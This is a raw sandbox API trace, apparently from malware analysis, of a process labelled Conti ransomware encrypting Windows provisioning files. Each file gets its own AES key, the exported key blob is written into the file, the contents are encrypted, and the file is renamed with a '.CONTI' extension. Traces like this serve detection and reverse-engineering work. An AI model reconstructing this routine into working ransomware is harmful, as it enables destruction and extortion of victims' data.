	[0108.536] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.536] GetProcessHeap () returned 0x1720000
	[0108.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b44050 | out: hHeap=0x1720000) returned 1
	[0108.537] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0108.537] GetProcessHeap () returned 0x1720000
	[0108.537] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65894d8 | out: hHeap=0x1720000) returned 1
	[0108.537] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0108.537] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17c57d8 | out: phKey=0x17c57d8*=0x17c7d30) returned 1
	[0108.537] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c57dc, pdwDataLen=0x46fff1c | out: pbData=0x17c57dc*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0108.537] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.538] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0108.538] GetLastError () returned 0x0
	[0108.538] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=702) returned 1
	[0108.538] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2be
	[0108.538] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.538] SetEndOfFile (hFile=0x37c) returned 1
	[0108.538] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.538] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.538] WriteFile (in: hFile=0x37c, lpBuffer=0x17c57dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17c57dc*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.540] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.540] ReadFile (in: hFile=0x37c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2be, lpOverlapped=0x0) returned 1
	[0108.540] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2be, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2c0) returned 1
	[0108.540] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.540] WriteFile (in: hFile=0x37c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2c0, lpOverlapped=0x0) returned 1
	[0108.540] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.540] WriteFile (in: hFile=0x37c, lpBuffer=0x17c57d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17c57d0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0108.540] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.540] CloseHandle (hObject=0x37c) returned 1
	[0108.540] GetProcessHeap () returned 0x1720000
	[0108.540] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b44050
	[0108.540] lstrcpyW (in: lpString1=0x6b44050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml"
	[0108.540] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.541] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.541] GetProcessHeap () returned 0x1720000
	[0108.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b44050 | out: hHeap=0x1720000) returned 1
	[0108.541] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0108.541] GetProcessHeap () returned 0x1720000
	[0108.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1468 | out: hHeap=0x1720000) returned 1
	[0108.541] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0108.541] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17c4eb8 | out: phKey=0x17c4eb8*=0x17c7db0) returned 1
	[0108.541] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4ebc, pdwDataLen=0x46fff1c | out: pbData=0x17c4ebc*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0108.542] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0108.542] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0108.543] GetLastError () returned 0x0
	[0108.543] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=460) returned 1
	[0108.543] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc
	[0108.543] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.543] SetEndOfFile (hFile=0x37c) returned 1
	[0108.544] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.544] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.544] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4ebc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17c4ebc*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.545] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.545] ReadFile (in: hFile=0x37c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x1cc, lpOverlapped=0x0) returned 1
	[0108.545] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1cc, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1d0) returned 1
	[0108.545] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.546] WriteFile (in: hFile=0x37c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x1d0, lpOverlapped=0x0) returned 1
	[0108.546] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.546] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4eb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17c4eb0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0108.546] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.546] CloseHandle (hObject=0x37c) returned 1
	[0108.546] GetProcessHeap () returned 0x1720000
	[0108.546] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b44050
	[0108.546] lstrcpyW (in: lpString1=0x6b44050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0108.546] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0108.546] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0108.547] GetProcessHeap () returned 0x1720000
	[0108.547] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b44050 | out: hHeap=0x1720000) returned 1
	[0108.547] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0108.547] GetProcessHeap () returned 0x1720000
	[0108.547] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588430 | out: hHeap=0x1720000) returned 1
	[0108.547] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0108.547] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6513520 | out: phKey=0x6513520*=0x17c7d30) returned 1
	[0108.547] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513524, pdwDataLen=0x46fff1c | out: pbData=0x6513524*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0108.548] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.548] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0108.548] GetLastError () returned 0x0
	[0108.548] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=643) returned 1
	[0108.548] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x283
	[0108.548] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.548] SetEndOfFile (hFile=0x37c) returned 1
	[0108.548] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.548] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.548] WriteFile (in: hFile=0x37c, lpBuffer=0x6513524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6513524*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.965] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.965] ReadFile (in: hFile=0x37c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x283, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x283, lpOverlapped=0x0) returned 1
	[0108.965] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x283, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x290) returned 1
	[0108.965] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.965] WriteFile (in: hFile=0x37c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x290, lpOverlapped=0x0) returned 1
	[0108.965] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.965] WriteFile (in: hFile=0x37c, lpBuffer=0x6513518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x6513518*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0108.965] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.965] CloseHandle (hObject=0x37c) returned 1
	[0108.987] GetProcessHeap () returned 0x1720000
	[0108.987] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b68880
	[0108.987] lstrcpyW (in: lpString1=0x6b68880, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml"
	[0108.987] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.987] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.461] GetProcessHeap () returned 0x1720000
	[0110.461] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b68880 | out: hHeap=0x1720000) returned 1
	[0110.938] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0110.938] GetProcessHeap () returned 0x1720000
	[0110.938] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588be0 | out: hHeap=0x1720000) returned 1
	[0110.938] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0110.938] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x656fce0 | out: phKey=0x656fce0*=0x17c7bb0) returned 1
	[0110.938] CryptExportKey (in: hKey=0x17c7bb0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x656fce4, pdwDataLen=0x46fff1c | out: pbData=0x656fce4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0110.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.939] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0110.940] GetLastError () returned 0x0
	[0110.940] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=709) returned 1
	[0110.940] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0110.940] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.940] SetEndOfFile (hFile=0x398) returned 1
	[0110.940] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.940] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.940] WriteFile (in: hFile=0x398, lpBuffer=0x656fce4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x656fce4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.304] ReadFile (in: hFile=0x398, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2c5, lpOverlapped=0x0) returned 1
	[0111.304] CryptEncrypt (in: hKey=0x17c7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2c5, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d0) returned 1
	[0111.304] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
